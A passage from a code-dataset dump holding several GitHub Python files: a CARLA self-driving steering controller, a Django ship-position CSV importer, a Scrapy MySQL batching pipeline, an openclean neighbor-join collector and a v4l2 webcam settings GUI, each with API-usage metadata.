50, "usage_type": "call"}, {"api_name": "base64.urlsafe_b64decode", "line_number": 50, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 54, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 59, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 69, "usage_type": "call"}, {"api_name": "urllib.parse.parse.quote", "line_number": 76, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 76, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 86, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 89, "usage_type": "call"}, {"api_name": "urllib.parse.parse.urlencode", "line_number": 104, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 104, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 104, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 111, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 111, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 124, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 129, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 134, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 141, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 141, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 143, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 146, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 166, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 170, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 176, "usage_type": "call"}]} +{"seq_id": "37959393929", "text": "import os\nimport sys\nimport glob\nimport tensorflow as tf\nimport numpy as np\nimport time\nfrom abc import ABC, abstractmethod\n\ntry:\n sys.path.append(glob.glob('../carla/dist/carla-*%d.%d-%s.egg' % (\n sys.version_info.major,\n sys.version_info.minor,\n 'win-amd64' if os.name == 'nt' else 'linux-x86_64'))[0])\nexcept IndexError:\n pass\nimport carla\n\nSENSOR_TICK = 0.0 # 0 means as fast as possible\nSAVE_EVERY_NTH_FRAME = 50\nCONTROL_EVERY_NTH_FRAME = 8\nUSE_LAST_N_FRAMES = 1\n# input processing\nTRIM_TOP_PX = 32\nGRAYSCALE = True\n# output processing\nSTEER_NORM_FACTOR = 0.05\n\n\ndef to_bgra_array(image):\n \"\"\"Convert a CARLA raw image to a BGRA numpy array.\"\"\"\n if not isinstance(image, carla.Image):\n raise ValueError(\"Argument must be a carla.sensor.Image\")\n array = np.frombuffer(image.raw_data, dtype=np.dtype(\"uint8\"))\n array = np.reshape(array, (image.height, image.width, 4))\n return array\n\n\ndef to_rgb_array(image):\n \"\"\"Convert a CARLA raw image to a RGB numpy array.\"\"\"\n array = to_bgra_array(image)\n # Convert BGRA to RGB.\n array = array[:, :, :3]\n array = array[:, :, ::-1]\n return array\n\n\nclass AiControl(ABC):\n def __init__(self):\n self.vehicle = None\n self.vehicle_control = None\n self.switch_on = False\n self.default_velocity = 17 # m/s\n\n def register_vehicle_control(self, vehicle, vehicle_control):\n self.vehicle = vehicle\n self.vehicle_control = vehicle_control\n self.switch_on = self.vehicle is not None and self.vehicle_control is not None\n print(f\"Vehicle AI control {type(self)} switched {'on for:' if self.switch_on else 'off.'}\")\n if self.switch_on:\n print(f\"\\t vehicle: {self.vehicle} \\n\\t control: {self.vehicle_control}\")\n else:\n return\n self.vehicle_control.gear = 1\n\n def control(self, image):\n if not self.switch_on:\n return\n self.control_implementation(image)\n\n @abstractmethod\n def control_implementation(self, image):\n raise NotImplementedError\n\n\nclass ConstantVelocityControl (AiControl):\n def __init__(self, velocity_kph=60):\n super().__init__()\n self.default_velocity = velocity_kph / 3.6\n\n def register_vehicle_control(self, vehicle, vehicle_control):\n old_vehicle_ref = self.vehicle\n super().register_vehicle_control(vehicle, vehicle_control)\n if self.switch_on:\n self.vehicle.enable_constant_velocity(carla.Vector3D(self.default_velocity, 0, 0))\n elif old_vehicle_ref is not None:\n old_vehicle_ref.disable_constant_velocity()\n\n @abstractmethod\n def control_implementation(self, image):\n raise NotImplementedError\n\n\nclass DummyControl (AiControl):\n def control_implementation(self, image):\n self.vehicle_control.throttle = 0.77\n self.vehicle_control.steer = 0.05\n\n\nclass DummyCVControl (ConstantVelocityControl\n ):\n def control_implementation(self, image):\n self.vehicle_control.steer = 0.02\n self.vehicle_control.throttle = 0.0\n\n\nclass SimpleCVControl (ConstantVelocityControl):\n def __init__(self, velocity_kph=10):\n super().__init__(velocity_kph)\n if not tf.config.get_visible_devices(\"GPU\"):\n print(\"Warning! No GPU found! (maybe install CUDA, cuDNN, set environment variable LD_LIBRARY_PATH)\")\n self.tf_model = tf.keras.models.load_model(\"TRAININGOLD3.h5\")\n self.counter = 0\n self.images = []\n\n def control_implementation(self, image):\n if (self.counter-1) % CONTROL_EVERY_NTH_FRAME >= CONTROL_EVERY_NTH_FRAME - USE_LAST_N_FRAMES:\n image_arr = to_rgb_array(image)[TRIM_TOP_PX:, :, :] / 255.0\n if GRAYSCALE:\n image_arr = np.mean(image_arr, axis=2, keepdims=True)\n self.images.append(image_arr)\n if self.counter % CONTROL_EVERY_NTH_FRAME == 0 and self.images:\n start_time = time.time()\n input_image_arr = np.array(self.images[-USE_LAST_N_FRAMES:])\n output_steer_vector = self.tf_model.predict(input_image_arr)\n output_steer = np.average(output_steer_vector, axis=0)[0]\n self.vehicle_control.steer = output_steer * STEER_NORM_FACTOR\n print(f\"Steering {self.vehicle_control.steer:7.3f} in {time.time() - start_time:5.3f} s\")\n self.images.clear()\n self.counter += 1\n", "repo_name": "csanadferencz/CNN-Lateral-Control", "sub_path": "homework.py", "file_name": "homework.py", "file_ext": "py", "file_size_in_byte": 4444, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.version_info", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.name", "line_number": 13, "usage_type": "attribute"}, {"api_name": "carla.Image", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.dtype", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 34, "usage_type": "call"}, {"api_name": "abc.ABC", "line_number": 47, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 70, "usage_type": "name"}, {"api_name": "carla.Vector3D", "line_number": 84, "usage_type": "call"}, {"api_name": "abc.abstractmethod", "line_number": 88, "usage_type": "name"}, {"api_name": "tensorflow.config.get_visible_devices", "line_number": 109, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 109, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 111, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 119, "usage_type": "call"}, {"api_name": "time.time", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 125, "usage_type": "call"}, {"api_name": "time.time", "line_number": 127, "usage_type": "call"}]} +{"seq_id": "39134130365", "text": "import csv\n\nfrom django.core.management.base import BaseCommand\nfrom django.db import transaction\nfrom django.utils.dateparse import parse_datetime\n\nfrom ships.models import Position, Ship\n\n\nclass Command(BaseCommand):\n help = \"Import positions csv\"\n\n def add_arguments(self, parser):\n parser.add_argument(\"filename\", type=str)\n\n def handle(self, *args, **options):\n ships = [\n {9632179: \"Mathilde Maersk\"},\n {9247455: \"Australian Spirit\"},\n {9595321: \"MSC Preziosa\"},\n ]\n\n for ship in ships:\n for imo, name in ship.items():\n Ship.objects.get_or_create(name=name, imo=imo)\n\n try:\n with transaction.atomic():\n with open(\"positions.csv\") as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n Position.objects.get_or_create(\n ship_imo=Ship.objects.get(imo=int(row[0])),\n timestamp=parse_datetime(row[1]),\n latitude=float(row[2]),\n longitude=float(row[3]),\n )\n self.stdout.write(\n self.style.SUCCESS(\n f'Successfully imported {options[\"filename\"]}'\n )\n )\n except Exception as e:\n self.stderr.write(\n f'Error importing {options[\"filename\"]}. Exception {str(e)}'\n )\n", "repo_name": "alexandrosm77/polestar", "sub_path": "ships/management/commands/import_csv.py", "file_name": "import_csv.py", "file_ext": "py", "file_size_in_byte": 1505, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.core.management.base.BaseCommand", "line_number": 10, "usage_type": "name"}, {"api_name": "ships.models", "line_number": 17, "usage_type": "name"}, {"api_name": "ships.models", "line_number": 23, "usage_type": "name"}, {"api_name": "ships.models.Ship.objects.get_or_create", "line_number": 25, "usage_type": "call"}, {"api_name": "ships.models.Ship.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "ships.models.Ship", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.transaction.atomic", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 28, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 30, "usage_type": "call"}, {"api_name": "ships.models.Position.objects.get_or_create", "line_number": 32, "usage_type": "call"}, {"api_name": "ships.models.Position.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "ships.models.Position", "line_number": 32, "usage_type": "name"}, {"api_name": "ships.models.Ship.objects.get", "line_number": 33, "usage_type": "call"}, {"api_name": "ships.models.Ship.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "ships.models.Ship", "line_number": 33, "usage_type": "name"}, {"api_name": "django.utils.dateparse.parse_datetime", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "43524126917", "text": "from collections import deque, OrderedDict\n\nimport miner.db\nfrom items import UserItem, ProductItem, RatingItem\n\n\nclass Batch(object):\n \"\"\"\n Structure used to stock chunks of items, in order to\n commit them to the database in transactions\n \"\"\"\n MODELS = OrderedDict((\n (UserItem, miner.db.User),\n (ProductItem, miner.db.Product),\n (RatingItem, miner.db.Rating),\n ))\n\n # The number of items which will trigger a commit\n BATCH_SIZE = 10000\n\n def __init__(self):\n self.current = 0\n # We store three batches, one per model\n self.batches = OrderedDict((k, deque()) for k in self.MODELS.keys())\n\n def add_item(self, item):\n self.batches[item.__class__].append(item)\n self.current += 1\n\n if self.current == self.BATCH_SIZE:\n self.commit()\n\n def commit(self):\n # We commit the users and the products before the ratings\n # because the ForeignKeys must exist in the database\n for klass, batch in self.batches.items():\n if len(batch) > 0:\n model = self.MODELS[klass]\n with miner.db.mysql.transaction():\n model.insert_many(batch).execute()\n batch.clear()\n\n self.current = 0\n\n\nclass MySQLPipeline(object):\n \"\"\"\n The pipeline used to persist the items in the database\n \"\"\"\n def __init__(self):\n miner.db.init()\n self.batch = Batch()\n\n def process_item(self, item, spider):\n self.batch.add_item(item)\n\n def close_spider(self, spider):\n # In the end, we commit the last items\n self.batch.commit()\n", "repo_name": "k4nar/senscritique", "sub_path": "scraper/pipelines.py", "file_name": "pipelines.py", "file_ext": "py", "file_size_in_byte": 1644, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.OrderedDict", "line_number": 12, "usage_type": "call"}, {"api_name": "items.UserItem", "line_number": 13, "usage_type": "name"}, {"api_name": "miner.db.db", "line_number": 13, "usage_type": "attribute"}, {"api_name": "miner.db", "line_number": 13, "usage_type": "name"}, {"api_name": "items.ProductItem", "line_number": 14, "usage_type": "name"}, {"api_name": "miner.db.db", "line_number": 14, "usage_type": "attribute"}, {"api_name": "miner.db", "line_number": 14, "usage_type": "name"}, {"api_name": "items.RatingItem", "line_number": 15, "usage_type": "name"}, {"api_name": "miner.db.db", "line_number": 15, "usage_type": "attribute"}, {"api_name": "miner.db", "line_number": 15, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 24, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 24, "usage_type": "call"}, {"api_name": "miner.db.db.mysql.transaction", "line_number": 39, "usage_type": "call"}, {"api_name": "miner.db.db", "line_number": 39, "usage_type": "attribute"}, {"api_name": "miner.db", "line_number": 39, "usage_type": "name"}, {"api_name": "miner.db.db.init", "line_number": 51, "usage_type": "call"}, {"api_name": "miner.db.db", "line_number": 51, "usage_type": "attribute"}, {"api_name": "miner.db", "line_number": 51, "usage_type": "name"}]} +{"seq_id": "23373969126", "text": "from openclean_pattern.collect.base import Collector\nfrom openclean_pattern.align.distance.factory import DistanceFactory\nfrom openclean_pattern.align.distance.tree_edit import DISTANCE_TED\nfrom openclean_pattern.align.base import Sequence\nfrom openclean_pattern.align.needlemanwunsch import NeedlemanWunschAligner\nfrom openclean.function.token.base import Token\n\nimport numpy as np\nfrom skbio.tree import TreeNode\nfrom skbio.io.format.newick import _tokenize_newick, NewickFormatError\nfrom skbio import DistanceMatrix\nfrom skbio.tree import nj\n\nfrom typing import List, Optional, Dict, Tuple\n\nCOLLECT_NEIGHBOR = \"neighbor\"\n\n\ndef serialize(obj: TreeNode) -> str:\n \"\"\"converts a skbio TreeNode to a str\n\n Parameters\n ----------\n obj: TreeNode\n the node to convert to a string\n \"\"\"\n operators = set(\",:_;()[]\")\n current_depth = 0\n nodes_left = [(obj, 0)]\n fh = ''\n while len(nodes_left) > 0:\n entry = nodes_left.pop()\n node, node_depth = entry\n if node.children and node_depth >= current_depth:\n fh += '('\n nodes_left.append(entry)\n nodes_left += ((child, node_depth + 1) for child in\n reversed(node.children))\n current_depth = node_depth + 1\n else:\n if node_depth < current_depth:\n fh += ')'\n current_depth -= 1\n\n # Note we don't check for None because there is no way to represent\n # an empty string as a label in Newick. Therefore, both None and ''\n # are considered to be the absence of a label.\n lblst = []\n if node.support is not None: # prevents support of NoneType\n lblst.append(str(node.support))\n if node.name: # prevents name of NoneType\n lblst.append(node.name)\n label = ':'.join(lblst)\n if label:\n escaped = \"%s\" % label.replace(\"'\", \"''\")\n if any(t in operators for t in label):\n fh += \"'\"\n fh += escaped\n fh += \"'\"\n else:\n fh += escaped.replace(\" \", \"_\")\n if nodes_left and nodes_left[-1][1] == current_depth:\n fh += ','\n\n fh += ';\\n'\n return fh\n\n\ndef deserialize(st: str, words: Optional[List] = None, convert_underscores: bool = True) -> Tuple[TreeNode, List]:\n \"\"\"read str to TreeNode and get nested list of operation order\n\n Parameters\n ----------\n st: str\n The string to recreate the tree from and extract an order of neighbors to be used as the guide tree. The\n guide tree is in the form of list of lists and tuples where an internal list represents an inner node and a\n tuple represents a pair to combine, e.g.:\n [['abc', ('aab','aac')],'xyz']\n for the tree:\n --- 'xyz'\n ---| --- 'abc'\n --- | --- 'aab'\n ---|\n --- 'aac'\n words: list\n If the serialized tree was created using indices instead of labels, the original column can be passed in to return the\n exact values inside the order array\n convert_underscores: bool (default = True)\n flag to convert underscores as per the newick tokenizer\n \"\"\"\n tree_stack = []\n current_depth = 0\n last_token = ''\n root = TreeNode()\n tree_stack.append((root, current_depth))\n next_is_distance = False\n\n combo = []\n my_stack = []\n my_stack.append((combo, current_depth))\n\n for token in _tokenize_newick(st, convert_underscores=convert_underscores):\n # Check for a label\n if last_token not in '(,):':\n val = Sequence(words[int(last_token)]) if words else int(last_token)\n if not next_is_distance:\n tree_stack[-1][0].name = val if last_token else None\n else:\n next_is_distance = False\n if last_token:\n my_stack[-1][0].append(val)\n else:\n my_stack[-1][0].append(None)\n\n # Check for a distance\n if token == ':':\n next_is_distance = True\n elif last_token == ':':\n try:\n tree_stack[-1][0].length = float(token)\n except ValueError:\n raise NewickFormatError(\"Could not read length as numeric type\"\n \": %s.\" % token)\n elif token == '(':\n current_depth += 1\n tree_stack.append((TreeNode(), current_depth))\n my_stack.append((list(), current_depth))\n elif token == ',':\n tree_stack.append((TreeNode(), current_depth))\n my_stack.append((list(), current_depth))\n elif token == ')':\n if len(tree_stack) < 2:\n raise NewickFormatError(\"Could not parse file as newick.\"\n \" Parenthesis are unbalanced.\")\n children = []\n my_children = []\n # Pop all nodes at this depth as they belong to the remaining\n # node on the top of the stack as children.\n while current_depth == tree_stack[-1][1]:\n node, _ = tree_stack.pop()\n children.insert(0, node)\n nc, _ = my_stack.pop()\n [my_children.insert(0, c) for c in nc]\n parent = tree_stack[-1][0]\n my_parent = my_stack[-1][0]\n\n if parent.children:\n raise NewickFormatError(\"Could not parse file as newick.\"\n \" Contains unnested children.\")\n # This is much faster than TreeNode.extend\n for child in children:\n child.parent = parent\n parent.children = children\n\n my_parent.append(my_children)\n\n current_depth -= 1\n elif token == ';':\n if len(tree_stack) == 1:\n return root, my_stack\n break\n\n last_token = token\n\n raise NewickFormatError(\"Could not parse file as newick.\"\n \" `(Parenthesis)`, `'single-quotes'`,\"\n \" `[comments]` may be unbalanced, or tree may be\"\n \" missing its root.\")\n\n\nclass NeighborJoin(Collector):\n \"\"\"This collector creates groups based on the clustering of similarly distanced tokens\"\"\"\n\n def __init__(self):\n \"\"\"intializes the collector object\n \"\"\"\n super(NeighborJoin, self).__init__(COLLECT_NEIGHBOR)\n self.distance = DistanceFactory.create(DISTANCE_TED)\n self.distance.strict = False\n\n def _compute_pairwise_distance(self, column: List[List[Token]]) -> np.array:\n \"\"\"Computes the levenshtein distance between aligned elements in the column\n output format:\n\n , A, B, C, D, E, F\n A, 0, 5, 4, 7, 6, 8\n B, 5, 0, 7,10, 9,11\n C, 4, 7, 0, 7, 6, 8\n D, 7,10, 7, 0, 5, 9\n E, 6, 9, 6, 5, 0, 8\n F, 8,11, 8, 9, 8, 0\n\n Parameters\n ----------\n column: list\n input values\n\n Returns\n -------\n matrix of pairwise distances in the form above\n\n \"\"\"\n pairwise = NeedlemanWunschAligner()\n l = len(column)\n distances = np.empty((l, l))\n for u in range(l):\n # compute only half of the distances\n for v in range(u, l):\n au, av = pairwise.align([column[u], column[v]]) # get aligned\n distances[u][v] = distances[v][u] = self.distance.compute(au, av)\n\n return distances\n\n def get_tree_and_order(self, words: List[List[Token]]) -> Tuple[TreeNode, List]:\n \"\"\"creates a nearest neighbor tree and returns a list of tuples in the form:\n [s1, (s2, s3), s4]\n depicting the different order of how they should be aligned\n\n Parameters\n ----------\n words: list\n list of inputs\n\n Returns\n -------\n tuple of TreeNode and Order\n \"\"\"\n\n distances = self._compute_pairwise_distance(words)\n\n # create the tree with the indices of the rows instead of the actual values\n nw = list()\n [nw.append(str(i)) for i in range(len(words))]\n\n dm = DistanceMatrix(distances, nw)\n tree = nj(dm)\n\n tree, order = deserialize(serialize(tree), words)\n\n return tree, order[0]\n\n def collect(self, column: List[List[Token]]) -> Dict:\n \"\"\"the collect method takes in a list of Tokens and collects the closest ones together. The returned\n object is a dict of lists with each inner list representing the tree of indices of nearest neighbors\n in the format for e.g. [[2, (3, 1)], 0]\n to represent the tree:\n --- 0\n ---| --- 2\n --- | --- 3\n ---|\n --- 1\n\n Parameters\n ----------\n column: list of list[Token]\n the column to align\n\n Returns\n -------\n a dict of lists with key 'n' representing the cluster and each inner list representing row_indices of groups\n with n tokens / row_index of part of the cluster\n \"\"\"\n distances = self._compute_pairwise_distance(column)\n\n # create the tree with the indices of the rows instead of the actual values\n nw = list()\n [nw.append(i) for i in range(len(column))]\n\n dm = DistanceMatrix(distances, nw)\n tree = nj(dm)\n\n _, order = deserialize(serialize(tree))\n\n return {0: order[0]}\n", "repo_name": "VIDA-NYU/openclean-pattern", "sub_path": "openclean_pattern/collect/neighbor.py", "file_name": "neighbor.py", "file_ext": "py", "file_size_in_byte": 9731, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "86", "api": [{"api_name": "skbio.tree.TreeNode", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 69, "usage_type": "name"}, {"api_name": "skbio.tree.TreeNode", "line_number": 94, "usage_type": "call"}, {"api_name": "skbio.io.format.newick._tokenize_newick", "line_number": 102, "usage_type": "call"}, {"api_name": "openclean_pattern.align.base.Sequence", "line_number": 105, "usage_type": "call"}, {"api_name": "skbio.io.format.newick.NewickFormatError", "line_number": 122, "usage_type": "call"}, {"api_name": "skbio.tree.TreeNode", "line_number": 126, "usage_type": "call"}, {"api_name": "skbio.tree.TreeNode", "line_number": 129, "usage_type": "call"}, {"api_name": "skbio.io.format.newick.NewickFormatError", "line_number": 133, "usage_type": "call"}, {"api_name": "skbio.io.format.newick.NewickFormatError", "line_number": 148, "usage_type": "call"}, {"api_name": "skbio.io.format.newick.NewickFormatError", "line_number": 165, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 69, "usage_type": "name"}, {"api_name": "skbio.tree.TreeNode", "line_number": 69, "usage_type": "name"}, {"api_name": "openclean_pattern.collect.base.Collector", "line_number": 171, "usage_type": "name"}, {"api_name": "openclean_pattern.align.distance.factory.DistanceFactory.create", "line_number": 178, "usage_type": "call"}, {"api_name": "openclean_pattern.align.distance.tree_edit.DISTANCE_TED", "line_number": 178, "usage_type": "argument"}, {"api_name": "openclean_pattern.align.distance.factory.DistanceFactory", "line_number": 178, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 181, "usage_type": "name"}, {"api_name": "openclean.function.token.base.Token", "line_number": 181, "usage_type": "name"}, {"api_name": "openclean_pattern.align.needlemanwunsch.NeedlemanWunschAligner", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 181, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 214, "usage_type": "name"}, {"api_name": "openclean.function.token.base.Token", "line_number": 214, "usage_type": "name"}, {"api_name": "skbio.DistanceMatrix", "line_number": 235, "usage_type": "call"}, {"api_name": "skbio.tree.nj", "line_number": 236, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 214, "usage_type": "name"}, {"api_name": "skbio.tree.TreeNode", "line_number": 214, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 242, "usage_type": "name"}, {"api_name": "openclean.function.token.base.Token", "line_number": 242, "usage_type": "name"}, {"api_name": "skbio.DistanceMatrix", "line_number": 269, "usage_type": "call"}, {"api_name": "skbio.tree.nj", "line_number": 270, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 242, "usage_type": "name"}]} +{"seq_id": "19073038417", "text": "#!/usr/bin/env python3\n\n### Controls UVC setting using v4l2-ctl\n\nimport os, sys, subprocess, json\nimport cv2\nimport numpy as np\nfrom functools import partial\n\ndef getCamSettings(camDevice):\n out = subprocess.Popen(['v4l2-ctl', '-d', camDevice, '--list-ctrls-menu'],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n stdout,stderr = out.communicate()\n \n linesOut = stdout.decode('UTF-8').splitlines()\n\n camSettings = dict()\n b = dict()\n\n nLines = len(linesOut)\n for i in range(0, nLines):\n #Skip menu legend lines which are denoted by 4 tabs\n if linesOut[i].startswith('\\t\\t\\t\\t'):\n continue\n \n a = dict()\n setting = linesOut[i].split(':',1)[0].split() \n # ['brightness', '0x00980900', '(int)']\n param = linesOut[i].split(':',1)[1].split() \n # ['min=-64', 'max=64', 'step=1', 'default=0', 'value=0']\n # Put paramaters into a dictionary\n for j in range(0, len(param)):\n a.update({param[j].split('=',1)[0]: param[j].split('=',1)[1]})\n # Add bitName and setting type to params dictionary \n a.update({'bitName': setting[1]})\n a.update({'type': setting[2].strip(\"()\")})\n # Create a legend for menu entries and add to dictionary with other params\n if a['type'] == 'menu':\n h = 0\n legend = ''\n while h >= 0:\n h += 1\n ih = i + h\n if linesOut[ih].startswith('\\t\\t\\t\\t') and (ih) <= nLines:\n legend = legend + linesOut[i+h].strip() + \" \"\n else:\n h = -1\n a.update({'legend': legend}) # additional data on settings\n a.update({'step': 1}) # adding to work with updateUVCsetting()\n # Use setting name as key and dictionary of params as value\n b.update({setting[0]: a})\n camSettings.update({'settings': b})\n camSettings.update({'deviceAddress': camDevice})\n\n print(json.dumps(camSettings, indent=2))\n\n return camSettings\n\ndef updateUVCsetting(setting, step, deviceAddress , value):\n # ('gamma', 1 , /dev/video0, 30 )\n #v4l2-ctl -d /dev/video0 --set-ctrl=brightness=50\n value = int(int(step) * round(value/int(step)))\n out = subprocess.Popen(['v4l2-ctl', '-d', deviceAddress, \n f'--set-ctrl={setting}={value}'], \n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n stdout,stderr = out.communicate()\n test = \"pass\" if stdout.decode('UTF-8') == '' else \"fail\"\n print(f'setting requested -- {setting} --> {value} test: {test}')\n if test == 'fail': \n print(f'\\n--- {setting} is likely locked, check if set to Auto on another slider')\n print(f'--- v4l2-ctl error message :\\n{stdout.decode(\"UTF-8\")}')\n\n\ndef defaultSettings(camSettings,window):\n for x in camSettings['settings']:\n cv2.setTrackbarPos(x, window, int(camSettings['settings'][x]['default']))\n\ndef nothingOf(value):\n z = 1\n\ndef actionCommander(pressedKey):\n breakBool = False\n # Quit\n if pressedKey == ord('q'):\n breakBool = True\n elif cv2.getWindowProperty(winControls,cv2.WND_PROP_VISIBLE) < 1:\n breakBool = True\n if showViewer:\n if cv2.getWindowProperty(winImage,cv2.WND_PROP_VISIBLE) < 1:\n breakBool = True\n # set default settings\n if pressedKey == ord('d'):\n print('--- default setting applied ---')\n defaultSettings(camSettings,winControls)\n return breakBool\n\n# Create window and add sliders poputlated from camSettings\ndef createSettingsControlWindow(camSettings,window):\n lineImage = 255 * np.ones((1,600,3), np.uint8)\n cv2.imshow(window, lineImage)\n if os.path.isfile(\".ctrlUVC.session\"):\n f = open(\".ctrlUVC.session\", \"r\")\n y, x = f.read().split()\n f.close\n cv2.moveWindow(window, int(x), int(y))\n for x in camSettings['settings']:\n if camSettings['settings'][x]['type'] == 'bool':\n cv2.createTrackbar(x, window,\n int(camSettings['settings'][x]['value']), # current cam value\n int(1), # max = 1 for bool\n partial(updateUVCsetting, # new value is passed implicitly\n x, # setting name\n 1,\n camSettings['deviceAddress'])) # value step = 1 for bool\n cv2.setTrackbarMin(x, window, # \n int(0) ) # min = 0 for bool\n else:\n cv2.createTrackbar(x, window, \n int(camSettings['settings'][x]['value']), # current cam value\n int(camSettings['settings'][x]['max']), # max value\n partial(updateUVCsetting, # new value is passed implicitly \n x, # setting name\n camSettings['settings'][x]['step'], # value step\n camSettings['deviceAddress'])) # url address\n cv2.setTrackbarMin(x, window, \n int(camSettings['settings'][x]['min']) ) # min value\n if 'legend' in camSettings['settings'][x]:\n text = f'{\" \" * 30} (for above) -- {camSettings[\"settings\"][x][\"legend\"]}'\n text = text + (90-len(text)) * \" \"\n cv2.createTrackbar(text,window,\n 1, # step\n 1, # max --> \n nothingOf) # callable function - does nothing\n cv2.setTrackbarMin(text,window,\n 1) # min -- if min=max : slider locks\n\n#######\n#######\n\nif __name__ == \"__main__\":\n # Cam can be passed as command line argument\n cam = '/dev/video0'\n showViewer = True\n if len(sys.argv) > 1:\n cam = sys.argv[1]\n if len(sys.argv) > 2 and int(sys.argv[2]) == 0:\n showViewer = False\n\n camSettings = getCamSettings(cam) # ex cam = /dev/video0 \n \n winControls = 'camera controls --- press \\'d\\' to set camera defaults' \n createSettingsControlWindow(camSettings, winControls)\n\n if showViewer:\n winImage = 'viewer for camera controls'\n cap = cv2.VideoCapture(cam)\n ret, frame = cap.read()\n cv2.imshow(winImage, frame)\n \n # Main program loop \n while(cap.isOpened()):\n ret, frame = cap.read()\n if ret == True:\n cv2.imshow(winImage,frame)\n # Key / window closing bindings \n ## If returns True, it will break loop\n if actionCommander(cv2.waitKey(1) & 0xFF):\n break\n\n w,h,ww,hh = cv2.getWindowImageRect(winControls) # w\n print(h,'--',w) # height , width\n f = open(\".ctrlUVC.session\", \"w\")\n f.write(f'{h} {w}')\n f.close()\n\n cap.release()\n cv2.destroyAllWindows()\n else:\n while True:\n if actionCommander(cv2.waitKey(1) & 0xFF):\n break\n w,h,ww,hh = cv2.getWindowImageRect(winControls) # w\n print(h,'--',w) # height , width\n f = open(\".ctrlUVC.session\", \"w\")\n f.write(f'{h} {w}')\n f.close()\n cv2.destroyAllWindows()\n", "repo_name": "3dsf/frameCam", "sub_path": "ctrlUVC.py", "file_name": "ctrlUVC.py", "file_ext": "py", "file_size_in_byte": 6766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "subprocess.Popen", "line_number": 11, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 12, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 13, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 56, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 64, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 66, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 67, "usage_type": "attribute"}, {"api_name": "cv2.setTrackbarPos", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.getWindowProperty", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.WND_PROP_VISIBLE", "line_number": 88, "usage_type": "attribute"}, {"api_name": "cv2.getWindowProperty", "line_number": 91, "usage_type": "call"}, {"api_name": "cv2.WND_PROP_VISIBLE", "line_number": 91, "usage_type": "attribute"}, 